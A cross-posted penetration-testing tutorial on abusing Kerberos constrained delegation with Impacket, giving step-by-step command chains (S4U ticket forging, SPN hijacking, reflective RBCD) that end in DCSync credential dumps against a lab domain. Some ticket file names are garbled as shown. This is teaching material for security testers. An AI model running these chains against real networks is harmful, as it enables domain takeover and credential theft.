How-To, Informational Active Directory, Hunter Wade, Impacket, Kerberos

Abusing Delegation with Impacket (Part 2): Constrained Delegation

Hunter recently graduated with his Master’s degree in Cyber Defense and has over two years of experience in penetration testing. His favorite area of testing is Active Directory, and in his free time, he enjoys working in his home lab and analyzing malware.

This blog has been cross-posted. We’re grateful to Hunter for allowing us to share this insightful work—you can check out the original post in full HERE.

This is the second in a three-part series of blog posts discussingl how to abuse Kerberos delegation! If you haven’t already, feel free to read the first blog post, as it discusses the Kerberos authentication process and how delegation plays an important role in solving the double-hop problem.

What is constrained delegation?

Constrained delegation was introduced to mitigate the risks of unconstrained delegation. It restricts delegation to specific services and replaces TGT forwarding with two proxies: S4U2Self and S4U2Proxy.

There are two types of constrained delegation – with and without protocol transition. The key difference is how the impersonation is done.

Constrained with protocol transition: Uses S4U2Self to impersonate users and S4U2Proxy to generate a service ticket to the delegated resource.
Constrained without protocol transition: Does not use S4U2Self, but instead requires the client present a forwardable service ticket as the user you want to impersonate to the delegated resource.

Constrained delegation with protocol transition abuse techniques

To abuse constrained delegation with protocol transition, we must first compromise a user or machine configured with it. Following this, our goal is to impersonate an elevated user/machine – usually the domain administrator – to compromise the service our compromised resource can delegate to.

The high-level steps are:

Compromise a user or machine that has constrained delegation configured.
Use S4U2Self and S4U2Proxy to obtain a service ticket as an elevated user to the delegated resource.

1. S4U2Self and S4U2Proxy with username and password

Assume we’ve compromised the user kcduser with the password Password2@, which is allowed to delegate to host/DC01.secure.local, being the domain controller.

To escalate in the domain, since protocol transition is enabled, we can use kcduser’s password to impersonate an elevated user – usually the domain administrator – using S4U2Self. Then, we can use S4U2Proxy to generate a service ticket to the delegated service (host/DC01.secure.local).

Additionally, we must have an SPN assigned to the compromised user to successfully generate tickets.

1. Find user-based constrained delegation with protocol transition (kcduser to host/DC01.secure.local)

impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200

2. Add an SPN to kcduser if there isn’t one already (KCD.secure.local)

python3 addspn.py -u secure.localkcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200

3. Using kcduser’s credentials, we can obtain a service ticket as the domain administrator to DC01 (S4U2Self + S4U2Proxy)

impacket-getST -spn 'host/DC01.secure.local' -impersonate administrator 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200

4. Export the ticket into memory

export KRB5CCNAME=./administrator@[email protected]

5. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

6. (Cleanup): Remove the added SPN (if user started without one)

python3 addspn.py -u secure.localkcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200 -r

2. S4U2Self and S4U2Proxy with machine NTLM hash

Assume we’ve compromised the machine PC01$ with the NTLM hash aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4, which is allowed to delegate to host/DC01.secure.local, being the domain controller.

To escalate in the domain, since protocol transition is enabled, we can use PC01$’s NTLM hash to impersonate an impersonate an elevated user – usually the domain administrator – using S4U2Self. Then, we can use S4U2Proxy to generate a service ticket to the delegated service (host/DC01.secure.local).

1. Find machine-based constrained delegation with protocol transition (PC01$ to host/DC01.secure.local)

impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200

2. Using PC01$’s NTLM hash, we can obtain a service ticket as the domain administrator to DC01 (S4U2Self + S4U2Proxy)

impacket-getST -spn 'host/DC01.secure.local' -impersonate administrator 'secure.local/PC01$' -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' -dc-ip 10.0.1.200

3. Export the ticket into memory

export KRB5CCNAME=administrator@[email protected]

4. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

3. Live machine SPN hijacking with GenericWrite

SPN hijacking is an edge-case technique where, if the conditions line up, an attacker with permissions to modify a target’s SPNs can effectively redirect delegation to compromise a different resource.

Assume we’ve compromised the user dacluser with the password Password3#, which has GenericWrite permissions over DC01.secure.local and PC01.secure.local.

Additionally, assume we’ve compromised the machine PC02$ with the NTLM hash aad3b435b51404eeaad3b435b51404ee:72265d1639ffa6279115a922e92a33d8, which is allowed to delegate to host/PC01.secure.local.

If a user principal has the “Write all properties” (GenericWrite) permission over an Active Directory object, they can arbitrarily write SPNs among other things.

This means, with the permissions we have, we can migrate PC01’s host/PC01.secure.local SPN to DC01, essentially making DC01 the target for delegation. Then, if we perform S4U2Self and S4U2Proxy, we can obtain a service ticket as an elevated user to DC01.

The high-level steps are:

Compromise a user or machine that has constrained delegation configured.
Compromise a user who can modify the SPNs of the delegated service (PC01) and a final target service (DC01).
Remove all SPNs from the delegated service (PC01)
Write the delegated SPN to the final target service (host/PC01.secure.local to DC01)
Use S4U2Self and S4U2Proxy to obtain a service ticket as an elevated user to the delegated resource (PC01.secure.local, which is now DC01)
Modify the SPN in the service ticket (host/PC01.secure.local to host/DC01.secure.local)

1. Find GenericWrite permissions (dacluser to DC01.secure.local and PC01.secure.local)

nxc ldap 10.0.1.200 -d 'secure.local' -u 'dacluser' -p 'Password3#' --dns-server 10.0.1.200 --bloodhound --collection All

2. Find machine-based constrained delegation with protocol transition (PC02$ to host/PC01.secure.local)

impacket-findDelegation 'secure.local/dacluser':'Password3#' -dc-ip 10.0.1.200

3. Remove all SPNs from PC01$, note the removed SPNs for later

python3 addspn.py -u secure.localdacluser -p 'Password3#' --clear -t 'PC01$' 10.0.1.200

4. Write the host/PC01.secure.local SPN to DC01$

python3 addspn.py -u secure.localdacluser -p 'Password3#' -t 'DC01$' --spn 'host/PC01.secure.local' 10.0.1.200

5. Using PC02$’s NTLM hash, obtain a service ticket as the domain administrator to host/PC01.secure.local, now being DC01 (S4U2Self + S4U2Proxy)

impacket-getST -spn 'host/PC01.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/PC02$' -hashes 'aad3b435b51404eeaad3b435b51404ee:72265d1639ffa6279115a922e92a33d8'

6. Modify the SPN in the service ticket to host/DC01.secure.local

python3 tgssub.py -in administrator@[email protected] -out DC01-ticket.ccache -altservice 'host/DC01.secure.local'

7. Export the ticket into memory

export KRB5CCNAME=DC01-ticket.ccache

8. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

9. (Cleanup) Remove the host/PC01.secure.local SPN from DC01$

python3 addspn.py -u secure.localdacluser -p 'Password3#' -t 'DC01$' --spn 'host/PC01.secure.local' 10.0.1.200 -r

10. (Cleanup) Restore all removed SPNs to PC01$, repeat for each removed SPN

python3 addspn.py -u secure.localdacluser -p 'Password3#' -t 'PC01$' --spn 'host/PC01.secure.local' 10.0.1.200

11. Verify all SPNs are restored on DC01$ and PC01$

python3 addspn.py -u secure.localdacluser -p 'Password3#' -t 'PC01$' 10.0.1.200 -q

python3 addspn.py -u secure.localdacluser -p 'Password3#' -t 'DC01$' 10.0.1.200 -q

Constrained delegation without protocol transition abuse techniques

To abuse constrained delegation without protocol transition, we must first compromise a user or machine configured with it. However, we cannot simply supply the password for the compromised service — we need a forwardable service ticket as an elevated user, usually the domain administrator.

The issue is what generates a forwardable ticket. According to Elad Shamir in Wagging the Dog, it turns out S4U2Proxy generates a forwardable service ticket, which can be used to escalate.

This raises the question: how can we use S4U2Proxy to generate a forwardable service ticket?

Reflective resource-based constrained delegation

Any user or machine in a domain, by default, can configure Resource-Based Constrained Delegation (RBCD) on themselves. This is essentially traditional constrained delegation, but instead of the domain deciding who can delegate to a service, the service decides who may delegate to it.

If a resource configured for constrained delegation (without protocol transition) is compromised, an attacker needs a second resource to obtain a forwardable ticket. This is where Machine Account Quota (MAQ) – a default domain-level attribute that lets non-administrators add machine accounts comes in handy.

An attacker can add a machine account via MAQ and configure RBCD so the MAQ-added machine is trusted for delegation. Using the MAQ machine’s credentials, the attacker performs S4U2Self and S4U2Proxy to the compromised resource, generating a forwardable service ticket to that service. The forwardable ticket can then be passed to the resource the compromised host is allowed to delegate to.

A quick aside, the reason why MAQ comes in handy is because computer accounts always have SPNs tied to them by default. However, if MAQ is disabled, the same can be done if an attacker controls a user with an SPN or has the permission to add SPNs to themselves or other compromised users.

This chaining of constrained delegation to obtain a forwardable ticket is called reflective resource-based constrained delegation. Through the first S4U2Proxy, the attacker obtains a forwardable ticket as an elevated user and can then compromise the original resource configured for delegation.

The high-level steps are:

Compromise a user or machine that is configured for constrained delegation without protocol transition.
Add a new computer to the domain via Machine Account Quota (MAQ).
Configure RBCD on the compromised resource so it trusts the added machine for delegation.
Use the MAQ machine’s credentials to perform S4U2Self + S4U2Proxy to the compromised resource, producing a forwardable service ticket as an elevated user.
Pass that forwardable ticket (with an additional S4U2Proxy) to the service the compromised resource is allowed to delegate to.

1. Add a user SPN and machine account, reflective RBCD

Assume we’ve compromised the user kcduser with the password Password2@, which is allowed to delegate to host/DC01.secure.local, being the domain controller.

To escalate in the domain, since protocol transition is disabled, we can add a machine account to the domain, configure RBCD to trust the MAQ host for delegation, and then obtain a forwardable service ticket through reflective resource based constrained delegation.

Additionally, we must have an SPN assigned to the compromised user to successfully generate tickets.

1. Find user-based constrained delegation without protocol transition (kcduser to host/DC01.secure.local)

impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200

2. Add an SPN to kcduser if there isn’t one already (KCD.secure.local)

python3 addspn.py -u secure.localkcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200

3. Add a new computer called machine$ using Machine Account Quota

impacket-addcomputer -computer-name 'machine$' -computer-pass 'machinepass!' -dc-ip 10.0.1.200 'secure.local/kcduser:Password2@'

4. Configure kcduser to trust machine$ for delegation

impacket-rbcd -delegate-from 'machine$' -delegate-to 'kcduser' -dc-ip 10.0.1.200 -action 'write' 'secure.local/kcduser':'Password2@'

5. Using machine$’s credentials, impersonate the domain administrator to kcduser (Reflective RBCD from machine$ -> kcduser)

impacket-getST -spn 'host/KCD.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/machine$':'machinepass!'

6. Perform an S4U2Proxy with the forwardable administrator ticket to DC01 (kcduser -> DC01)

impacket-getST -impersonate 'administrator' -spn 'host/DC01.secure.local' -additional-ticket administrator@[email protected] -dc-ip 10.0.1.200 'secure.local/kcduser':'Password2@'

7. Export the ticket into memory

export KRB5CCNAME=administrator@[email protected]

8. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

9. (Cleanup): Remove the added SPN

python3 addspn.py -u secure.localkcduser -p 'Password2@' -s host/KCD.secure.local --target-type samname 10.0.1.200 -r

10. (Cleanup): Remove the added machine account (can only be done with administrative users)

impacket-addcomputer -computer-name 'machine$' -dc-ip 10.0.1.200 -delete -hashes 'aad3b435b51404eeaad3b435b51404ee:16f2bd968f2885a410873b4efa104527' 'secure.local/administrator'

2. Use machine SPN and add a machine account, reflective RBCD

To escalate in the domain, since protocol transition is disabled, we can obtain a forwardable service ticket through Reflective Resource Based Constrained Delegation (MAQ + RBCD).

1. Find machine-based constrained delegation without protocol transition (PC01$ to host/DC01.secure.local)

impacket-findDelegation 'secure.local/kcduser':'Password2@' -dc-ip 10.0.1.200

2. Add a new computer called machine$ using Machine Account Quota

impacket-addcomputer -computer-name 'machine$' -computer-pass 'machinepass!' -dc-host 10.0.1.200 'secure.local/PC01$' -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4'

3. Configure PC01$ to trust machine$ for delegation

impacket-rbcd -delegate-from 'machine$' -delegate-to 'PC01$' -dc-ip 10.0.1.200 -action 'write' -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' 'secure.local/PC01$'

4. Using machine$’s credentials, impersonate the domain administrator to PC01 (Reflective RBCD from machine$ -> PC01$)

impacket-getST -spn 'host/PC01.secure.local' -impersonate 'administrator' -dc-ip 10.0.1.200 'secure.local/machine$':'machinepass!'

5. Utilize the obtained ticket to generate a ticket as Administrator to host/DC01.secure.local (PC01$ -> DC01)

impacket-getST -impersonate 'administrator' -spn 'host/DC01.secure.local' -additional-ticket administrator@[email protected] -dc-ip 10.0.1.200 -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' 'secure.local/PC01$'

6. Export the ticket into memory

export KRB5CCNAME=administrator@[email protected]

7. Perform a DCSync against DC01 as administrator

impacket-secretsdump -k DC01.secure.local

8. (Cleanup): Remove the added machine account (can only be done with administrative users)

impacket-addcomputer -computer-name 'machine$' -dc-ip 10.0.1.200 -delete -hashes 'aad3b435b51404eeaad3b435b51404ee:16f2bd968f2885a410873b4efa104527' 'secure.local/administrator'

Conclusion

While constrained delegation offers improvements in limiting risk compared to its dangerous unconstrained counterpart, if a resource configured with constrained delegation is compromised, an attacker can still escalate and pivot to other resources, even if the process can be more complex and limited.

Following this, we will discuss abusing resource-based constrained delegation in a future writeup!

References

Ready to learn more?

Level up your skills with affordable classes from Antisyphon!

Pay-Forward-What-You-Can Training

Available live/virtual and on-demand